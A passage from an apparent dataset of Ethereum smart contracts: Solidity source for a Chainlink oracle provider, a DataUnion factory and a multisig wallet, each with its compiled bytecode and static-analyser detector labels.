average if (_currentValue == 0) { // First update takes the current value nextValue = returnedValue; _currentValue = nextValue; } else { // Update the current value with the next value _currentValue = nextValue; // Set the returnedValue as the next value nextValue = returnedValue; } // Save when the value was last updated lastTimestamp = block.timestamp; _validReturnedValue = true; emit ValueUpdated(_currentValue, nextValue); return true; } catch { // When a value provider fails, we update the valid flag which will // invalidate the value instantly _validReturnedValue = false; emit ValueInvalid(); } return false; } function pause() public checkCaller { _pause(); } function unpause() public checkCaller { _unpause(); } function reset() public whenPaused checkCaller { _currentValue = 0; nextValue = 0; lastTimestamp = 0; _validReturnedValue = false; emit OracleReset(); } } contract Convert { function convert( int256 x_, uint256 currentPrecision_, uint256 targetPrecision_ ) internal pure returns (int256) { if (targetPrecision_ > currentPrecision_) return x_ * int256(10**(targetPrecision_ - currentPrecision_)); return x_ / int256(10**(currentPrecision_ - targetPrecision_)); } function uconvert( uint256 x_, uint256 currentPrecision_, uint256 targetPrecision_ ) internal pure returns (uint256) { if (targetPrecision_ > currentPrecision_) return x_ * 10**(targetPrecision_ - currentPrecision_); return x_ / 10**(currentPrecision_ - targetPrecision_); } } // Chainlink Aggregator v3 interface // https://github.com/smartcontractkit/chainlink/blob/6fea3ccd275466e082a22be690dbaf1609f19dce/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol interface IChainlinkAggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } contract ChainlinkValueProvider is Oracle, Convert { uint8 public immutable underlierDecimals; address public chainlinkAggregatorAddress; /// @notice Constructs the Value provider contracts with the needed Chainlink. /// @param timeUpdateWindow_ Minimum time between updates of the value /// @param chainlinkAggregatorAddress_ Address of the deployed chainlink aggregator contract. constructor( // Oracle parameters uint256 timeUpdateWindow_, // Chainlink specific parameter address chainlinkAggregatorAddress_ ) Oracle(timeUpdateWindow_) { chainlinkAggregatorAddress = chainlinkAggregatorAddress_; underlierDecimals = IChainlinkAggregatorV3Interface( chainlinkAggregatorAddress_ ).decimals(); } /// @notice Retrieves the price from the chainlink aggregator /// @return result The result as an signed 59.18-decimal fixed-point number. function getValue() external view override(Oracle) returns (int256) { // Convert the annual rate to 1e18 precision. (, int256 answer, , , ) = IChainlinkAggregatorV3Interface( chainlinkAggregatorAddress ).latestRoundData(); return convert(answer, underlierDecimals, 18); } /// @notice returns the description of the chainlink aggregator the proxy points to. function description() external view returns (string memory) { return IChainlinkAggregatorV3Interface(chainlinkAggregatorAddress) .description(); } }
0x608060405234801561001057600080fd5b50600436106101365760003560e01c80635c975abb116100b2578063a2e6204511610081578063bbd91c4611610066578063bbd91c46146102cb578063ccfb9935146102f2578063d826f88f146102fb57600080fd5b8063a2e62045146102b0578063a746d489146102b857600080fd5b80635c975abb1461026157806369e7f01b1461026c5780637284e416146102935780638456cb59146102a857600080fd5b8063356cd90a116101095780633fa4f245116100ee5780633fa4f245146101dc5780634c8136eb146101f957806352b43adf1461023e57600080fd5b8063356cd90a1461019b5780633f4ba83a146101d457600080fd5b8063012abbe91461013b57806319d8ac6114610150578063209652551461016c5780632936ff2b14610174575b600080fd5b61014e610149366004610bdb565b610303565b005b61015960025481565b6040519081526020015b60405180910390f35b6101596103e0565b6101597f13eb61d6467453b8d8e0d2a40b8dcee776dde376f951013dfdab1b9189651b6181565b6101c27f000000000000000000000000000000000000000000000000000000000000000881565b60405160ff9091168152602001610163565b61014e6104af565b6101e461051e565b60408051928352901515602083015201610163565b6007546102199073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610163565b61025161024c366004610bdb565b61056f565b6040519015158152602001610163565b60015460ff16610251565b6101597f0000000000000000000000000000000000000000000000000000000000000e1081565b61029b61062e565b6040516101639190610c54565b61014e6106e9565b610251610724565b61014e6102c6366004610bdb565b61092a565b6102197f48a48edb17b6277f3d9897feeb510d1503580c3997a055cb5a635e86f81c243a81565b61015960035481565b61014e6109d0565b3360009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff16156103ae5760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff851680855290835292819020805460ff191690558051858152918201929092527faec761575684e54a883064093131de012d7a9e8fc898f13474e50fcfbdce7d0b91015b60405180910390a15050565b6040517f6d6b83b300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015610450573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104749190610cc4565b5050509150506104a9817f000000000000000000000000000000000000000000000000000000000000000860ff166012610a88565b91505090565b6104dd7fffffffff00000000000000000000000000000000000000000000000000000000600035163361056f565b156104ec576104ea610ae1565b565b6040517faa68b5bf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600154600090819060ff1615610560576040517fa3d4575400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505060045460055460ff169091565b60008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915281205460ff16806105ef575073ffffffffffffffffffffffffffffffffffffffff821660009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff165b80610625575060008381526020818152604080832073eb510d1503580c3997a055cb5a635e86f81c243a845290915290205460ff165b90505b92915050565b600754604080517f7284e416000000000000000000000000000000000000000000000000000000008152905160609273ffffffffffffffffffffffffffffffffffffffff1691637284e4169160048083019260009291908290030181865afa15801561069e573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526106e49190810190610d43565b905090565b6107177fffffffff00000000000000000000000000000000000000000000000000000000600035163361056f565b156104ec576104ea610b62565b60006107537fffffffff000000000000000000000000000000000000000000000000000000008235163361056f565b156104ec57600160065414610794576040517f890ffdfc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600260068190555442906107c9907f0000000000000000000000000000000000000000000000000000000000000e1090610e3d565b11156107d757506000610922565b3073ffffffffffffffffffffffffffffffffffffffff1663209652556040518163ffffffff1660e01b81526004016020604051808303816000875af192505050801561085e575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261085b91810190610e55565b60015b61089a576005805460ff191690556040517f590d70f1f3f1063f809b4c86f7187d3f04850146c3df8b63e43dd3639cee8b5090600090a161091e565b6004546000036108b357600381905560048190556108be565b600380546004558190555b426002556005805460ff191660011790556004546003546040517fb8ba758880724160775cc09f9aa6f15e3d6be6aed023b548a74a72981f806f639261090c92908252602082015260400190565b60405180910390a16001915050610922565b5060005b600160065590565b3360009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff16156103ae5760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff851680855290835292819020805460ff191660011790558051858152918201929092527f9c21fb13a2f9c0e9222fe9a6810fe483b60248132981e1e0554bae602e93a9dd91016103a2565b60015460ff161515600003610a11576040517f2d09625000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610a3f7fffffffff00000000000000000000000000000000000000000000000000000000600035163361056f565b156104ec5760006004819055600381905560028190556005805460ff191690556040517fc0d3abef853c24900b5092a44863227a9bf7529e8a54373f976eaa231fafecbe9190a1565b600082821115610ab857610a9c8383610e6e565b610aa790600a610fa5565b610ab19085610fb1565b9050610ada565b610ac28284610e6e565b610acd90600a610fa5565b610ad7908561106d565b90505b9392505050565b60015460ff161515600003610b22576040517f2d09625000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001805460ff191690556040513381527f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa906020015b60405180910390a1565b60015460ff1615610b9f576040517fa3d4575400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001805460ff1916811790556040513381527f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25890602001610b58565b60008060408385031215610bee57600080fd5b82359150602083013573ffffffffffffffffffffffffffffffffffffffff81168114610c1957600080fd5b809150509250929050565b60005b83811015610c3f578181015183820152602001610c27565b83811115610c4e576000848401525b50505050565b6020815260008251806020840152610c73816040850160208701610c24565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b805169ffffffffffffffffffff81168114610cbf57600080fd5b919050565b600080600080600060a08688031215610cdc57600080fd5b610ce586610ca5565b9450602086015193506040860151925060608601519150610d0860808701610ca5565b90509295509295909350565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060208284031215610d5557600080fd5b815167ffffffffffffffff80821115610d6d57600080fd5b818401915084601f830112610d8157600080fd5b815181811115610d9357610d93610d14565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908382118183101715610dd957610dd9610d14565b81604052828152876020848701011115610df257600080fd5b610e03836020830160208801610c24565b979650505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008219821115610e5057610e50610e0e565b500190565b600060208284031215610e6757600080fd5b5051919050565b600082821015610e8057610e80610e0e565b500390565b600181815b80851115610ede57817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115610ec457610ec4610e0e565b80851615610ed157918102915b93841c9390800290610e8a565b509250929050565b600082610ef557506001610628565b81610f0257506000610628565b8160018114610f185760028114610f2257610f3e565b6001915050610628565b60ff841115610f3357610f33610e0e565b50506001821b610628565b5060208310610133831016604e8410600b8410161715610f61575081810a610628565b610f6b8383610e85565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115610f9d57610f9d610e0e565b029392505050565b60006106258383610ee6565b60007f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600084136000841385830485118282161615610ff257610ff2610e0e565b7f8000000000000000000000000000000000000000000000000000000000000000600087128682058812818416161561102d5761102d610e0e565b6000871292508782058712848416161561104957611049610e0e565b8785058712818416161561105f5761105f610e0e565b505050929093029392505050565b6000826110a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83147f8000000000000000000000000000000000000000000000000000000000000000831416156110f7576110f7610e0e565b50059056fea26469706673582212205a01feed6700ed0df43830353fae5193c099f4f26bf4010525b021e7828999eb64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,844
0xe41439bf434f9cfbf0153f5231c205d4ae0c22e3
// Sources flattened with hardhat v2.6.6 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.2.0 // SPDX-License-Identifier: MIT pragma solidity 0.8.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/CloneLib.sol //solhint-disable avoid-low-level-calls //solhint-disable no-inline-assembly /** NOTE: DO NOT MODIFY. This code has been audited, and the test was removed in truffle -> waffle transition */ library CloneLib { /** * Returns bytecode of a new contract that clones template * Adapted from https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-sdk/master/packages/lib/contracts/upgradeability/ProxyFactory.sol * Which in turn adapted it from https://github.com/optionality/clone-factory/blob/32782f82dfc5a00d103a7e61a17a5dedbd1e8e9d/contracts/CloneFactory.sol */ function cloneBytecode(address template) internal pure returns (bytes memory code) { bytes20 targetBytes = bytes20(template); assembly { code := mload(0x40) mstore(0x40, add(code, 0x57)) // code length is 0x37 plus 0x20 for bytes length field. update free memory pointer mstore(code, 0x37) // store length in first 32 bytes // store clone source address after first 32 bytes mstore(add(code, 0x20), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(code, 0x34), targetBytes) mstore(add(code, 0x48), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) } } /** * Predict the CREATE2 address. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1014.md for calculation details */ function predictCloneAddressCreate2( address template, address deployer, bytes32 salt ) internal pure returns (address proxy) { bytes32 codehash = keccak256(cloneBytecode(template)); return address(uint160(uint256(keccak256(abi.encodePacked( bytes1(0xff), deployer, salt, codehash ))))); } /** * Deploy given bytecode using CREATE2, address can be known in advance, get it from predictCloneAddressCreate2 * Optional 2-step deployment first runs the constructor, then supplies an initialization function call. * @param code EVM bytecode that would be used in a contract deploy transaction (to=null) * @param initData if non-zero, send an initialization function call in the same tx with given tx input data (e.g. encoded Solidity function call) */ function deployCodeAndInitUsingCreate2( bytes memory code, bytes memory initData, bytes32 salt ) internal returns (address payable proxy) { uint256 len = code.length; assembly { proxy := create2(0, add(code, 0x20), len, salt) } require(proxy != address(0), "error_alreadyCreated"); if (initData.length != 0) { (bool success, ) = proxy.call(initData); require(success, "error_initialization"); } } /** * Deploy given bytecode using old-style CREATE, address is hash(sender, nonce) * Optional 2-step deployment first runs the constructor, then supplies an initialization function call. * @param code EVM bytecode that would be used in a contract deploy transaction (to=null) * @param initData if non-zero, send an initialization function call in the same tx with given tx input data (e.g. encoded Solidity function call) */ function deployCodeAndInitUsingCreate( bytes memory code, bytes memory initData ) internal returns (address payable proxy) { uint256 len = code.length; assembly { proxy := create(0, add(code, 0x20), len) } require(proxy != address(0), "error_create"); if (initData.length != 0) { (bool success, ) = proxy.call(initData); require(success, "error_initialization"); } } } // File contracts/xdai-mainnet-bridge/IAMB.sol // Tokenbridge Arbitrary Message Bridge interface IAMB { //only on mainnet AMB: function executeSignatures(bytes calldata _data, bytes calldata _signatures) external; function messageSender() external view returns (address); function maxGasPerTx() external view returns (uint256); function transactionHash() external view returns (bytes32); function messageId() external view returns (bytes32); function messageSourceChainId() external view returns (bytes32); function messageCallStatus(bytes32 _messageId) external view returns (bool); function requiredSignatures() external view returns (uint256); function numMessagesSigned(bytes32 _message) external view returns (uint256); function signature(bytes32 _hash, uint256 _index) external view returns (bytes memory); function message(bytes32 _hash) external view returns (bytes memory); function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32); function failedMessageReceiver(bytes32 _messageId) external view returns (address); function failedMessageSender(bytes32 _messageId) external view returns (address); function requireToPassMessage( address _contract, bytes calldata _data, uint256 _gas ) external returns (bytes32); } // File contracts/xdai-mainnet-bridge/ITokenMediator.sol interface ITokenMediator { function bridgeContract() external view returns (address); //returns: //Multi-token mediator: 0xb1516c26 == bytes4(keccak256(abi.encodePacked("multi-erc-to-erc-amb"))) //Single-token mediator: 0x76595b56 == bytes4(keccak256(abi.encodePacked("erc-to-erc-amb"))) function getBridgeMode() external pure returns (bytes4 _data); function relayTokensAndCall(address token, address _receiver, uint256 _value, bytes calldata _data) external; } // File contracts/DataUnionFactoryMainnet.sol interface IDataUnionMainnet { function sidechainAddress() external view returns (address proxy); } contract DataUnionFactoryMainnet { event MainnetDUCreated(address indexed mainnet, address indexed sidechain, address indexed owner, address template); address public dataUnionMainnetTemplate; address public defaultTokenMainnet; address public defaultTokenMediatorMainnet; address public defaultTokenSidechain; address public defaultTokenMediatorSidechain; // needed to calculate address of sidechain contract address public dataUnionSidechainTemplate; address public dataUnionSidechainFactory; uint256 public sidechainMaxGas; constructor( address _dataUnionMainnetTemplate, address _dataUnionSidechainTemplate, address _dataUnionSidechainFactory, address _defaultTokenMainnet, address _defaultTokenMediatorMainnet, address _defaultTokenSidechain, address _defaultTokenMediatorSidechain, uint256 _sidechainMaxGas) { dataUnionMainnetTemplate = _dataUnionMainnetTemplate; dataUnionSidechainTemplate = _dataUnionSidechainTemplate; dataUnionSidechainFactory = _dataUnionSidechainFactory; defaultTokenMainnet = _defaultTokenMainnet; defaultTokenMediatorMainnet = _defaultTokenMediatorMainnet; defaultTokenSidechain = _defaultTokenSidechain; defaultTokenMediatorSidechain = _defaultTokenMediatorSidechain; sidechainMaxGas = _sidechainMaxGas; } function sidechainAddress(address mainetAddress) public view returns (address) { return CloneLib.predictCloneAddressCreate2( dataUnionSidechainTemplate, dataUnionSidechainFactory, bytes32(uint256(uint160(mainetAddress))) ); } function mainnetAddress(address deployer, string memory name) public view returns (address) { bytes32 salt = keccak256(abi.encode(bytes(name), deployer)); return CloneLib.predictCloneAddressCreate2( dataUnionMainnetTemplate, address(this), salt ); } function deployNewDataUnion( address owner, uint256 adminFeeFraction, uint256 duFeeFraction, address duBeneficiary, address[] memory agents, string memory name ) public returns (address) { return deployNewDataUnionUsingToken( defaultTokenMainnet, defaultTokenMediatorMainnet, defaultTokenSidechain, defaultTokenMediatorSidechain, owner, adminFeeFraction, duFeeFraction, duBeneficiary, agents, name ); } function deployNewDataUnionUsingToken( address tokenMainnet, address tokenMediatorMainnet, address tokenSidechain, address tokenMediatorSidechain, address owner, uint256 adminFeeFraction, uint256 duFeeFraction, address duBeneficiary, address[] memory agents, string memory name ) public returns (address) { bytes32 salt = keccak256(abi.encode(bytes(name), msg.sender)); bytes memory data = abi.encodeWithSignature("initialize(address,address,address,address,address,uint256,address,address,uint256,uint256,address,address[])", tokenMainnet, tokenMediatorMainnet, tokenSidechain, tokenMediatorSidechain, dataUnionSidechainFactory, sidechainMaxGas, dataUnionSidechainTemplate, owner, adminFeeFraction, duFeeFraction, duBeneficiary, agents ); address du = CloneLib.deployCodeAndInitUsingCreate2(CloneLib.cloneBytecode(dataUnionMainnetTemplate), data, salt); emit MainnetDUCreated(du, sidechainAddress(du), owner, dataUnionMainnetTemplate); return du; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806371f6d9651161007157806371f6d9651461014c5780639f7faa571461015f578063b6a7ee6814610172578063ba13683a14610185578063cfeef80714610198578063d4c31bd4146101ab57600080fd5b8063015388a1146100b95780630620a89b146100e95780630b23e95a146100fc5780630edc7f621461011357806317c2a98c146101265780632918bf6714610139575b600080fd5b6006546100cc906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6002546100cc906001600160a01b031681565b61010560075481565b6040519081526020016100e0565b6001546100cc906001600160a01b031681565b6100cc6101343660046106a5565b6101be565b6100cc6101473660046106c7565b6101e8565b6000546100cc906001600160a01b031681565b6003546100cc906001600160a01b031681565b6004546100cc906001600160a01b031681565b6100cc6101933660046107f2565b610328565b6005546100cc906001600160a01b031681565b6100cc6101b93660046107a4565b610366565b6005546006546000916101e2916001600160a01b03918216919081169085166103b6565b92915050565b60008082336040516020016101fe92919061096e565b60405160208183030381529060405280519060200120905060008c8c8c8c600660009054906101000a90046001600160a01b0316600754600560009054906101000a90046001600160a01b03168f8f8f8f8f60405160240161026b9c9b9a999897969594939291906108e9565b60408051601f198184030181529190526020810180516001600160e01b03166334f0a85b60e21b17905260008054919250906102ba906102b3906001600160a01b0316610424565b8385610476565b9050896001600160a01b03166102cf826101be565b6000546040516001600160a01b03918216815291811691908416907f7bb36c64b37ae129eda8a24fd78defec04cc7a06bb27863c5a4571dd5d70acee9060200160405180910390a49d9c50505050505050505050505050565b60015460025460035460045460009361035b936001600160a01b03918216939082169290821691168b8b8b8b8b8b6101e8565b979650505050505050565b600080828460405160200161037c92919061096e565b60408051601f1981840301815291905280516020909101206000549091506103ae906001600160a01b031630836103b6565b949350505050565b6000806103c285610424565b8051602091820120604080516001600160f81b03198185015260609790971b6bffffffffffffffffffffffff19166021880152603587019590955260558087019190915284518087039091018152607590950190935250508151910120919050565b604080516057810190915260378152733d602d80600a3d3981f3363d3d373d3d3d363d7360601b602082015260609190911b60348201526e5af43d82803e903d91602b57fd5bf360881b604882015290565b825160009082816020870184f591506001600160a01b0382166104d75760405162461bcd60e51b8152602060048201526014602482015273195c9c9bdc97d85b1c9958591e50dc99585d195960621b60448201526064015b60405180910390fd5b835115610584576000826001600160a01b0316856040516104f891906108cd565b6000604051808303816000865af19150503d8060008114610535576040519150601f19603f3d011682016040523d82523d6000602084013e61053a565b606091505b50509050806105825760405162461bcd60e51b815260206004820152601460248201527332b93937b92fb4b734ba34b0b634bd30ba34b7b760611b60448201526064016104ce565b505b509392505050565b80356001600160a01b03811681146105a357600080fd5b919050565b600082601f8301126105b957600080fd5b8135602067ffffffffffffffff8211156105d5576105d5610a13565b8160051b6105e48282016109b2565b8381528281019086840183880185018910156105ff57600080fd5b600093505b85841015610629576106158161058c565b835260019390930192918401918401610604565b50979650505050505050565b600082601f83011261064657600080fd5b813567ffffffffffffffff81111561066057610660610a13565b610673601f8201601f19166020016109b2565b81815284602083860101111561068857600080fd5b816020850160208301376000918101602001919091529392505050565b6000602082840312156106b757600080fd5b6106c08261058c565b9392505050565b6000806000806000806000806000806101408b8d0312156106e757600080fd5b6106f08b61058c565b99506106fe60208c0161058c565b985061070c60408c0161058c565b975061071a60608c0161058c565b965061072860808c0161058c565b955060a08b0135945060c08b0135935061074460e08c0161058c565b92506101008b013567ffffffffffffffff8082111561076257600080fd5b61076e8e838f016105a8565b93506101208d013591508082111561078557600080fd5b506107928d828e01610635565b9150509295989b9194979a5092959850565b600080604083850312156107b757600080fd5b6107c08361058c565b9150602083013567ffffffffffffffff8111156107dc57600080fd5b6107e885828601610635565b9150509250929050565b60008060008060008060c0878903121561080b57600080fd5b6108148761058c565b955060208701359450604087013593506108306060880161058c565b9250608087013567ffffffffffffffff8082111561084d57600080fd5b6108598a838b016105a8565b935060a089013591508082111561086f57600080fd5b5061087c89828a01610635565b9150509295509295509295565b600081518084526020808501945080840160005b838110156108c25781516001600160a01b03168752958201959082019060010161089d565b509495945050505050565b600082516108df8184602087016109e3565b9190910192915050565b600060018060a01b03808f168352808e166020840152808d166040840152808c166060840152808b1660808401528960a084015280891660c084015280881660e084015286610100840152856101208401528085166101408401525061018061016083015261095c610180830184610889565b9e9d5050505050505050505050505050565b604081526000835180604084015261098d8160608501602088016109e3565b6001600160a01b0393909316602083015250601f91909101601f191601606001919050565b604051601f8201601f1916810167ffffffffffffffff811182821017156109db576109db610a13565b604052919050565b60005b838110156109fe5781810151838201526020016109e6565b83811115610a0d576000848401525b50505050565b634e487b7160e01b600052604160045260246000fdfea2646970667358221220c20940746091c8bd9a2d6a437780d40e7357655f84f3d770bb92b834a117e5db64736f6c63430008060033
{"success": true, "error": null, "results": {}}
6,845
0xe2eC1AE06D868167d6600a3326163Be0CBB47615
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns 